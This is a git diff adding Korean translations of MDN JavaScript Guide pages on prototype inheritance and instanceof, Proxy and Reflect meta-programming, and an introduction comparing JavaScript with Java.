+<p>위의 예제에서처럼, 객체 생성 시에 객체의 속성에 대한 기본 값을 설정하고 실행 시에 해당 속성의 값을 변경하기를 원한다면, 해당 속성들을 생성자 함수 자체안에가 아닌 생성자의 프로토타입에 설정 하여야 합니다.</p>
+
+<h3 id="인스턴스_관계_결정">인스턴스 관계 결정</h3>
+
+<p>자바스크립트에서의 속성 검색은 객체 자신의 속성들을 먼저 살펴보고 해당 속성명을 찾지 못할 경우, 객체의 특별한 속성인 <code>__proto__</code>내에서 찾게 됩니다. 이런 검색은 재귀적으로 진행되며, 이런 과정을 "프로토타입 체인에서의 검색"이라고 합니다.</p>
+
+<p>특별한 속성인 <code>__proto__</code>객체가 생성이 될때 설정이 됩니다.<code> __proto__</code>속성은 생성자의 프로토타입 속성의 값으로 설정이 됩니다. 따라서 <code>new Foo()</code> 표현식은 <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code><code class="moz-txt-verticalline">인 </code>객체를 생성합니다. 결과적으로 <code class="moz-txt-verticalline">Foo.prototype</code><code class="moz-txt-verticalline">의 속성들에 대한 변경은 </code><code>new Foo()</code> 표현식으로 생성한 모든 객체에 대한 속성 검색을 변경하게 됩니다.</p>
+
+<p>모든 객체는 <code>__proto__</code>라는 객체 속성을 가집니다.(예외: <code>Object</code>). 모든 함수들은 <code>prototype</code>이라는 객체 속성을 가집니다. 따라서 객체들은 '프로토타입 상속'에 의해 다른 객체들과의 관계를 가지게 됩니다.객체의 <code>__proto__</code>속성과 함수의 <code>prototype </code>객체를 비교하여 상속을 테스트 해볼 수 있습니다. 자바스크립트는 특정 객체가 함수 <code>prototype</code>으로부터 상속 받는 객체일 경우 참<code>(true)</code>를 반환하는  <code>instanceof</code>라는 연산자를 제공합니다. 예를 들면,</p>
+
+<pre class="brush: js">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p><a href="#Inheriting_properties">Inheriting properties</a>에 나오는 예제와 동일한 정의들을 작성해 놓았을 경우, 보다 상세한 예제는 아래와 같습니다.엔지니어(<code>Engineer)</code>객체를 아래와 같이 생성합니다:</p>
+
+<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>생성된 객체를 가지고 아래와 같은 구문을 실행할 경우 각 구문에 대한 결과는 모두 참(true)입니다.</p>
+
+<pre class="brush: js">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>주어진 이런 상황에서, <code>instanceOf</code>를 다음과 같이 <font face="Consolas, Liberation Mono, Courier, monospace">직접 작성할 수 있을 것입니다:</font></p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+   object = object.__proto__;
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note">
+<p><strong>주의: </strong>위의 구현내용은 최신 버전의 자바스크립트에서 XML객체들이 표현되는 방법의 특질을 해결하기 위해 해당 객체의 타입이 "xml"인지 확인합니다. 핵심적인 세부 사항을 확인하려면 {{ bug(634150) }}를 참조하세요.</p>
+</div>
+
+<p>위의 instanceOf함수를 사용하면 아래의 표현들은 모두 참(true)입니다:</p>
+
+<pre class="brush: js">instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>하지만 아래의 표현식은 거짓(false)가 됩니다:</p>
+
+<pre class="brush: js">instanceOf (chris, SalesPerson)
+</pre>
+
+<h3 id="생성자내에서의_전역_정보">생성자내에서의 전역 정보</h3>
+
+<p>생성자를 생성할때, 생성자내에서 전역 정보를 설정할 경우, 주의를 해야 합니다. 예를 들어, 각각의 새로운 직원에게 자동으로 고유한 ID값을 할당하기를 원한다고 했을 때, 다음과 같은 직원(<code>Employee</code>) 정의를 사용할 수 있을 것입니다:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+
+<p>이런 정의 내용을 가지고, 새로운 직원을 생성했을 때, 생성자는 다음의 고유한 ID값을 새로운 직원객체에 할당하고 전역 ID 카운터를 증가 시킵니다. 따라서 다음과 같은 구문으로 각각의 객체를 생성한다면, 결과는 <code>victoria.id</code>는 1 그리고 <code>harry.id</code>는 2가 됩니다:</p>
+
+<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>얼핏보면 괜찮아 보입니다. 하지만 이유를 불문하고 직원 객체가 생성될때마다 <code>idCounter</code>는 증가분을 가지게 됩니다.이번장에서 나온 예제에서처럼 전체 직원<code>(Employee)</code> 객체의 계층 구조를 생성하였다면, 프로토타입을 설정할때마다 직원 생성자는 매번 호출 됩니다.다음과 같은 코드를 작성하였다고 가정합니다:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>여기서 생략된 정의가 <code>base</code>속성을 가지고 해당 생성자를 프로토타입 체인내의 상위 생성자들을 호출한닥고 좀 더 가정하면, 이런 경우, 생성된 <code>mac</code>객체의 <code>id</code>값은 5가 됩니다.</p>
+
+<p>어플리케이셔네 따라, 카운터가 이렇게 추가적으로 증가된 것은 문제가 될 수도 그렇지 않을 수 도 있습니다. 카운터에 정확한 값이 설정되기를 원한다면, 사용가능한 해결적은 아래와 같은 생성자를 대신 사용하는 것입니다:</p>
+
+<pre class="brush: js">function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+
+<p>prototype으로 사용할 직원 인스턴스를 생성할 때, 생성자에 인자들을 주어선 안됩니다. 이 생성자 정의를 사용하여, 인자들을 주지 않을 경우, 생성자는 id에 값을 할당하지 않으며 카운터를 갱신하지 않습니다. 따라서, id값을 가지는 직원 객체에 대해, 반드시 해당 직원의 이름을 명시해야 합니다. 이 예제의 경우 <code>mac</code>인스턴스의 <code>id</code>값은 1이 됩니다.</p>
+
+<h3 id="다중상속_금지">다중상속 금지</h3>
+
+<p>몇몇 객체 지향언어들은 다중 상속을 허용합니다. 그것은, 관련이 없는 부모 객체들로 부터 속성들과 값들을 상속 받을 수 있는 것을 말합니다. 자바스크립트는 다중 상속을 지원하지 않습니다.</p>
+
+<p>속성 값의 상속은 속성에 대한 값을 찾기 위한 프로토타입 체인을 검색에 의해 실행 시점에 이루어 집니다. 하나의 객체는 오로지 하나의 결합된 prototype만을 가지기 때문에, 자바스크립트는 동적으로 하나 이상의 프로토타입 체인으로 부터 상속을 할 수 없습니다. </p>
+
+<p>자바스크립트에서, 하나 이상의 다른 생성자 함수를 호출하는 생성자를 사용할 수 있습니다. 이것은 다중 상속처럼 보여질 수 있습니다. 예를 들어, 다음과 같은 구문들을 살펴보세요:</p>
+
+<pre class="brush: js">function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p><code>WorkerBee</code>의 정의는 이번 장의 이전에 사용된 것과 동일하다고 가정합니다.이런 경우, <code>dennis</code>객체는 다음과 같은 속성들을 가지게 됩니다:</p>
+
+<pre class="brush: js">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
+<p> 따라서 <code>dennis</code>객체는 <code>Hobbyist</code> 생성자로부터 <code>취미(hobby)</code>속성을 받아 오지 않습니다. 그런데 <code>Hobbyist</code>생성자의 프로토타입에 속성을 추가 했다고 가정하면 </p>
+
+<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p><code>dennis</code>객체는 새로이 추가된 속성을 상속받지 않습니다.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/ko/web/javascript/guide/메타_프로그래밍/index.html b/files/ko/web/javascript/guide/메타_프로그래밍/index.html
new file mode 100644
index 0000000000..fe4fa13f83
--- /dev/null
+++ b/files/ko/web/javascript/guide/메타_프로그래밍/index.html
@@ -0,0 +1,258 @@
+---
+title: 메타 프로그래밍
+slug: Web/JavaScript/Guide/메타_프로그래밍
+translation_of: Web/JavaScript/Guide/Meta_programming
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">Starting with ECMAScript 2015, JavaScript gains support for the {{jsxref("Proxy")}} and {{jsxref("Reflect")}} objects allowing you to intercept and define custom behavior for fundamental language operations (e.g. property lookup, assignment, enumeration, function invocation, etc). With the help of these two objects you are able to program at the meta level of JavaScript.</p>
+
+<h2 id="Proxies">Proxies</h2>
+
+<p> ECMAScript 6에서 소개되었습니다, {{jsxref("Proxy")}} 객체는  특정 작업을 가로막는것과  사용자 정의 행위를 시행하는것을 허용합니다.예를 들면 객체가 속성을 가지는 것입니다:</p>
+
+<pre class="brush: js">var handler = {
+  get: function(target, name){
+    return name in target ? target[name] : 42;
+  }
+};
+var p = new Proxy({}, handler);
+p.a = 1;
+console.log(p.a, p.b); // 1, 42
+</pre>
+
+<p>The <code>Proxy</code> object defines a <em>target</em> (an empty object here) and a <em>handler</em> object in which a <code>get</code> <em>trap</em> is implemented. Here, an object that is proxied will not return <code>undefined</code> when getting undefined properties, but will instead return the number 42.</p>
+
+<p>Additional examples are available on the {{jsxref("Proxy")}} reference page.</p>
+
+<h3 id="Terminology">Terminology</h3>
+
+<p>The following terms are used when talking about the functionality of proxies.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}}</dt>
+ <dd>Placeholder object which contains traps.</dd>
+ <dt>traps</dt>
+ <dd>The methods that provide property access. This is analogous to the concept of traps in operating systems.</dd>
+ <dt>target</dt>
+ <dd>Object which the proxy virtualizes. It is often used as storage backend for the proxy. Invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target.</dd>
+ <dt>invariants</dt>
+ <dd>Semantics that remain unchanged when implementing custom operations are called <em>invariants</em>. If you violate the invariants of a handler, a {{jsxref("TypeError")}} will be thrown.</dd>
+</dl>
+
+<h2 id="Handlers_and_traps">Handlers and traps</h2>
+
+<p>The following table summarizes the available traps available to <code>Proxy</code> objects. See the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">reference pages</a> for detailed explanations and examples.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Handler / trap</th>
+   <th>Interceptions</th>
+   <th>Invariants</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.getPrototypeOf()")}}<br>
+    {{jsxref("Reflect.getPrototypeOf()")}}<br>
+    {{jsxref("Object/proto", "__proto__")}}<br>
+    {{jsxref("Object.prototype.isPrototypeOf()")}}<br>
+    {{jsxref("Operators/instanceof", "instanceof")}}</td>
+   <td>
+    <ul>
+     <li><code>getPrototypeOf</code> method must return an object or <code>null</code>.</li>
+     <li>If <code>target</code> is not extensible, <code>Object.getPrototypeOf(proxy)</code> method must return the same value as <code>Object.getPrototypeOf(target)</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.setPrototypeOf()")}}<br>
+    {{jsxref("Reflect.setPrototypeOf()")}}</td>
+   <td>If <code>target</code> is not extensible, the <code>prototype</code> parameter must be the same value as <code>Object.getPrototypeOf(target)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</td>
+   <td>{{jsxref("Object.isExtensible()")}}<br>
+    {{jsxref("Reflect.isExtensible()")}}</td>
+   <td><code>Object.isExtensible(proxy)</code> must return the same value as <code>Object.isExtensible(target)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</td>
+   <td>{{jsxref("Object.preventExtensions()")}}<br>
+    {{jsxref("Reflect.preventExtensions()")}}</td>
+   <td><code>Object.preventExtensions(proxy)</code> only returns <code>true</code> if <code>Object.isExtensible(proxy)</code> is <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}<br>
+    {{jsxref("Reflect.getOwnPropertyDescriptor()")}}</td>
+   <td>
+    <ul>
+     <li><code>getOwnPropertyDescriptor</code> must return an object or <code>undefined</code>.</li>
+     <li>A property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.</li>
+     <li>A property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.</li>
+     <li>A property cannot be reported as existent, if it does not exists as an own property of the target object and the target object is not extensible.</li>
+     <li>A property cannot be reported as non-configurable, if it does not exists as an own property of the target object or if it exists as a configurable own property of the target object.</li>
+     <li>The result of <code>Object.getOwnPropertyDescriptor(target)</code>can be applied to the target object using <code>Object.defineProperty</code> and will not throw an exception.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</td>
+   <td>{{jsxref("Object.defineProperty()")}}<br>
+    {{jsxref("Reflect.defineProperty()")}}</td>
+   <td>
+    <ul>
+     <li>A property cannot be added, if the target object is not extensible.</li>
+     <li>A property cannot be added as or modified to be non-configurable, if it does not exists as a non-configurable own property of the target object.</li>
+     <li>A property may not be non-configurable, if a corresponding configurable property of the target object exists.</li>
+     <li>If a property has a corresponding target object property then <code>Object.defineProperty(target, prop, descriptor)</code> will not throw an exception.</li>
+     <li>In strict mode, a <code>false</code> return value from the <code>defineProperty</code> handler will throw a {{jsxref("TypeError")}} exception.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</td>
+   <td>Property query: <code>foo in proxy</code><br>
+    Inherited property query: <code>foo in Object.create(proxy)</code><br>
+    {{jsxref("Reflect.has()")}}</td>
+   <td>
+    <ul>
+     <li>A property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.</li>
+     <li>A property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</td>
+   <td>Property access: <code>proxy[foo]</code>and <code>proxy.bar</code><br>
+    Inherited property access: <code>Object.create(proxy)[foo]</code><br>
+    {{jsxref("Reflect.get()")}}</td>
+   <td>
+    <ul>
+     <li>The value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable data property.</li>
+     <li>The value reported for a property must be undefined if the corresponding target object property is non-configurable accessor property that has undefined as its [[Get]] attribute.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</td>
+   <td>Property assignment: <code>proxy[foo] = bar</code>and <code>proxy.foo = bar</code><br>
+    Inherited property assignment: <code>Object.create(proxy)[foo] = bar</code><br>
+    {{jsxref("Reflect.set()")}}</td>
+   <td>
+    <ul>
+     <li>Cannot change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.</li>
+     <li>Cannot set the value of a property if the corresponding target object property is a non-configurable accessor property that has <code>undefined</code> as its [[Set]] attribute.</li>
+     <li>In strict mode, a <code>false</code> return value from the <code>set</code>handler will throw a {{jsxref("TypeError")}} exception.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</td>
+   <td>Property deletion: <code>delete proxy[foo]</code> and <code>delete proxy.foo</code><br>
+    {{jsxref("Reflect.deleteProperty()")}}</td>
+   <td>A property cannot be deleted, if it exists as a non-configurable own property of the target object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/enumerate", "handler.enumerate()")}}</td>
+   <td>Property enumeration / for...in: <code>for (var name in proxy) {...}</code><br>
+    {{jsxref("Reflect.enumerate()")}}</td>
+   <td>The <code>enumerate</code> method must return an object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}<br>
+    {{jsxref("Object.getOwnPropertySymbols()")}}<br>
+    {{jsxref("Object.keys()")}}<br>
+    {{jsxref("Reflect.ownKeys()")}}</td>
+   <td>
+    <ul>
+     <li>The result of <code>ownKeys</code> is a List.</li>
+     <li>The Type of each result List element is either {{jsxref("String")}} or {{jsxref("Symbol")}}.</li>
+     <li>The result List must contain the keys of all non-configurable own properties of the target object.</li>
+     <li>If the target object is not extensible, then the result List must contain all the keys of the own properties of the target object and no other values.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</td>
+   <td><code>proxy(..args)</code><br>
+    {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}<br>
+    {{jsxref("Reflect.apply()")}}</td>
+   <td>There are no invariants for the <code>handler.apply</code>method.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</td>
+   <td><code>new proxy(...args)</code><br>
+    {{jsxref("Reflect.construct()")}}</td>
+   <td>The result must be an <code>Object</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Revocable_Proxy">Revocable <code>Proxy</code></h2>
+
+<p>The {{jsxref("Proxy.revocable()")}} method is used to create a revocable <code>Proxy</code> object. This means that the proxy can be revoked via the function <code>revoke</code> and switches the proxy off. Afterwards, any operation on the proxy leads to a {{jsxref("TypeError")}}</p>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+  get: function(target, name) {
+    return '[[' + name + ']]';
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.foo); // "[[foo]]"
+
+revocable.revoke();
+
+console.log(proxy.foo);  // TypeError is thrown
+proxy.foo = 1;           // TypeError again
+delete proxy.foo;        // still TypeError
+typeof proxy;            // "object", typeof doesn't trigger any trap</pre>
+
+<h2 id="Reflection">Reflection</h2>
+
+<p>{{jsxref("Reflect")}} is a built-in object that provides methods for interceptable JavaScript operations. The methods are the same as those of the {{jsxref("Global_Objects/Proxy/handler","proxy handlers","","true")}}. <code>Reflect</code> is not a function object.</p>
+
+<p><code>Reflect</code> helps with forwarding default operations from the handler to the target.</p>
+
+<p>With {{jsxref("Reflect.has()")}} for example, you get the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a> as a function:</p>
+
+<pre><code>Reflect.has(Object, 'assign'); // true</code></pre>
+
+<h3 id="A_better_apply_function">A better <code>apply</code> function</h3>
+
+<p>In ES5, you typically use the {{jsxref("Function.prototype.apply()")}} method to call a function with a given <code>this</code> value and <code>arguments</code> provided as an array (or an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a>).</p>
+
+<pre><code>Function.prototype.apply.call(Math.floor, undefined, [1.75]);</code></pre>
+
+<p>With {{jsxref("Reflect.apply")}} this becomes less verbose and easier to understand:</p>
+
+<pre><code>Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ['confabulation']).index;
+// 4
+
+Reflect.apply(''.charAt, 'ponies', [3]);
+// "i"</code></pre>
+
+<h3 id="Checking_if_property_definition_has_been_successful">Checking if property definition has been successful</h3>
+
+<p>With {{jsxref("Object.defineProperty")}}, which returns an object if successful, or throws a {{jsxref("TypeError")}} otherwise, you would use a {{jsxref("Statements/try...catch","try...catch")}} block to catch any error that occurred while defining a property. Because {{jsxref("Reflect.defineProperty")}} returns a Boolean success status, you can just use an {{jsxref("Statements/if...else","if...else")}} block here:</p>
+
+<pre><code>if (Reflect.defineProperty(target, property, attributes)) {
+  // success
+} else {
+  // failure
+}</code></pre>
+
+<p>{{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
+
+<p> </p>
diff --git a/files/ko/web/javascript/guide/소개/index.html b/files/ko/web/javascript/guide/소개/index.html
new file mode 100644
index 0000000000..cac0779ee0
--- /dev/null
+++ b/files/ko/web/javascript/guide/소개/index.html
@@ -0,0 +1,153 @@
+---
+title: Introduction
+slug: Web/JavaScript/Guide/소개
+tags:
+  - JavaScript
+  - 가이드
+  - 안내서
+  - 자바스크립트
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
+
+<p class="summary">이 장은 JavaScript를 소개하고 그 일부 기초 개념을 다룹니다.</p>
+
+<h2 id="무엇을_미리_알고_있어야_하나요">무엇을 미리 알고 있어야 하나요?</h2>
+
+<p>이 안내서는 당신이 다음의 기본적인 배경지식이 있다고 가정합니다.</p>
+
+<ul>
+ <li>인터넷과 월드 와이드 웹({{Glossary("WWW")}})에 대한 전반적인 이해.</li>
+ <li>HyperText 마크업 언어({{Glossary("HTML")}})에 대한 괜찮은 실무 지식.</li>
+ <li>약간의 프로그래밍 경험. 만약 프로그래밍이 처음이라면, <a href="/ko/docs/Web/JavaScript">JavaScript</a> 메인 페이지에 링크된 tutorial 중 하나를 따라하세요.</li>
+</ul>
+
+<h2 id="어디서_JavaScript_정보를_찾을_수_있을까">어디서 JavaScript 정보를 찾을 수 있을까</h2>
+
+<p>MDN에 있는 JavaScript 문서는 다음 세가지 파트로 되어있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Learn">Learning the Web</a>은 입문자를 위한 정보를 제공하며, 프로그래밍과 인터넷에 대한 기본 개념을 소개합니다.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide">JavaScript Guide</a> (이 안내서)는 JavaScript 언어와 객체에 대한 개요를 제공합니다.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference">JavaScript Reference</a> JavaScript에 관련된 자세한 참고 자료를 제공합니다.</li>
+</ul>
+
+<p>JavaScript가 처음이라면, <a href="/ko/docs/Learn">learning area</a>와 <a href="/ko/docs/Web/JavaScript/Guide">JavaScript Guide</a>에 있는 문서를 먼저 보세요. 일단 기초를 확실히 파악한 후에는, 각 객체와 문(statement)에 대한 더 자세한 정보를 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript Reference</a>에서 확인할 수 있습니다.</p>
+
+<h2 id="JavaScript는_무엇인가">JavaScript는 무엇인가?</h2>
+
+<p>JavaScript는 크로스-플랫폼, 객체지향 스크립트 언어입니다. 작고 가벼운 언어입니다. 호스트 환경(가령, 웹 브라우저) 내에서, JavaScript는 프로그램 제어를 제공하기 위해 그 환경의 객체에 연결될 수 있습니다. Node.Js와 같은 자바 스크립트의 고급 서버언어로 사용 할 수도 있습니다.이것을 사용하면 단순히 파일을 다운로드하는 것 (예 : 여러 컴퓨터 간의 실시간 공동 작업)보다 웹 사이트에 더 많은 기능을 추가 할 수 있습니다. 호스트 환경 (예 : 웹 브라우저) 내에서 JavaScript는 해당 환경의 객체에 연결되어 프로그래밍 방식으로 제어 할 수 있습니다.</p>
+
+<p>JavaScript는 <code>Array</code>, <code>Date</code>, <code>Math</code>와 같은 객체에 대한 표준 라이브러리와 연산자(operator), 제어 구조, 문과 같은 언어 요소의 코어 집합을 포함합니다. 코어 JavaScript는 거기에 추가 객체를 보충하여 다양한 목적으로 확장될 수 있습니다. 예를 들면:</p>
+
+<ul>
+ <li><em>클라이언트 측 JavaScript</em>는 브라우저와 문서 객체 모델(DOM) 을 제어하는 객체를 제공하여 코어 언어를 확장합니다. 예를 들어, 클라이언트 측 확장은 어플리케이션이 요소(element)를 HTML 폼에 두고, 마우스 클릭, 폼 입력 및 페이지 탐색 같은 사용자 이벤트에 응답하게 해줍니다.</li>
+ <li><em>서버 측 JavaScript</em>는 서버에서 JavaScript 실행에 관련된 객체를 제공하여 코어 언어를 확장합니다. 예를 들어, 서버 측 확장은 어플리케이션이 데이터베이스와 통신하고, 한 번의 호출 정보의 연속성을 어플리케이션의 다른 곳에 제공하거나, 서버에서 파일 조작을 수행할 수 있도록 해줍니다.</li>
+</ul>
+
+<p>이것은 브라우저에서 JavaScript가 웹 페이지 (DOM)의 모양을 바꿀 수 있음을 의미합니다. 또한 서버의 Node.js JavaScript는 브라우저에 작성된 코드의 사용자 정의 요청에 응답 할 수 있습니다.</p>
+
+<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript 와 Java</h2>
+
+<p>JavaScript 와 Java는 여러 면에서 비슷하지만 어떤 면에서는 근본적으로 다릅니다. JavaScript 언어는 Java를 닮았지만 Java의 정적 형지정(static typing)과 강한 형 검사(strong type checking)가 없습니다. JavaScript는 대부분의 Java 식 구문, 명명 규칙 및 기본적인 흐름 제어 구조를 따릅니다. 그것이 LiveScript에서 JavaScript로 이름이 바뀐 이유였습니다.</p>
+
+<p>Java의 선언에 의해 생성되는 클래스의 컴파일-타임 시스템과는 달리, JavaScript는 숫자, 불리언, 그리고 문자열 값을 표현하는 적은 수의 자료 형을 기반으로 한 런타임 시스템을 지원합니다. JavaScript 는 더 일반적인 클래스 기반 객체 모델 대신에 프로토타입 기반 객체 모델을 갖습니다. 프로토타입 기반 모델은 동적 상속을 제공합니다. 즉, 상속된 대상은 각각의 객체에 따라 다양할 수 있습니다. JavaScript는 또한 어떤 특정한 선언을 요구하지 않는 함수도 지원합니다. 함수는 객체의 속성이나, 타입이 느슨하게 형지정된 채 실행되는 메소드가 될 수 있습니다.</p>
+
+<p>JavaScript는 Java에 비해 매우 자유로운 형태의 언어입니다. 여러분은 모든 변수, 클래스, 및 메소드를 선언하지 않아도 됩니다. 여러분은 메소드가 public, private, 또는 protected 인지 염려할 필요가 없고 인터페이스를 구현하지 않아도 됩니다. 변수, 매개변수(parameter), 및 함수의 반환 형은 명시적으로 지정되지 않습니다.</p>
+
+<p>Java는 빠른 실행과 형 안전성(type safety)을 위해 설계된 클래스 기반 프로그래밍 언어입니다. 형 안전성은, 예를 들어, 여러분이 Java 정수를 객체의 레퍼런스로 형변환(cast)하거나 Java 바이트코드를 변경하여 private 메모리에 접근할 수 없음을 의미합니다. Java의 클래스 기반 모델은 프로그램이 오로지 클래스와 그 메소드로만 구성된다는 것을 뜻합니다. Java의 클래스 상속과 강한 형지정은 보통 단단하게 결합된 객체 계층구조를 요구합니다. 이러한 요구는 Java 프로그래밍을 JavaScript 프로그래밍보다 더 복잡하게 만듭니다.</p>
+
+<p>반면에, JavaScript는 HyperTalk 과 dBASE 같은 더 작고 동적 형지정이 가능한 언어들의 정신을 계승했습니다. 이러한 스크립팅 언어는 더 쉬운 구문과 특별한 내장(built-in) 기능 및 객체 생성을 위한 최소 요구사항으로 인해 훨씬 더 많은 사람들에게 프로그래밍 도구를 제공합니다.</p>
+
+<table class="standard-table">
+ <caption>Java와 비교한 JavaScript</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>객체 지향. 객체의 형 간에 차이 없음. 프로토타입 메커니즘을 통한 상속, 그리고 속성과 메서드는 어떤 객체든 동적으로 추가될 수 있음.</td>
+   <td>클래스 기반. 객체는 클래스 계층구조를 통한 모든 상속과 함께 클래스와 인스턴스로 나뉨. 클래스와 인스턴스는 동적으로 추가된 속성이나 메소드를 가질 수 없음.</td>
+  </tr>
+  <tr>
+   <td>변수 자료형이 선언되지 않음(dynamic typing, loosely typed).</td>
+   <td>변수 자료형은 반드시 선언되어야 함(정적 형지정, static typing).</td>
+  </tr>
+  <tr>
+   <td>하드 디스크에 자동으로 작성 불가.</td>
+   <td>하드 디스크에 자동으로 작성 가능.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>JavaScript와 Java의 차이에 대한 더 많은 정보는, <a href="/ko/docs/Web/JavaScript/Guide/객체_모델의_세부사항">객체 모델의 세부사항</a> 장을 보세요.</p>
+
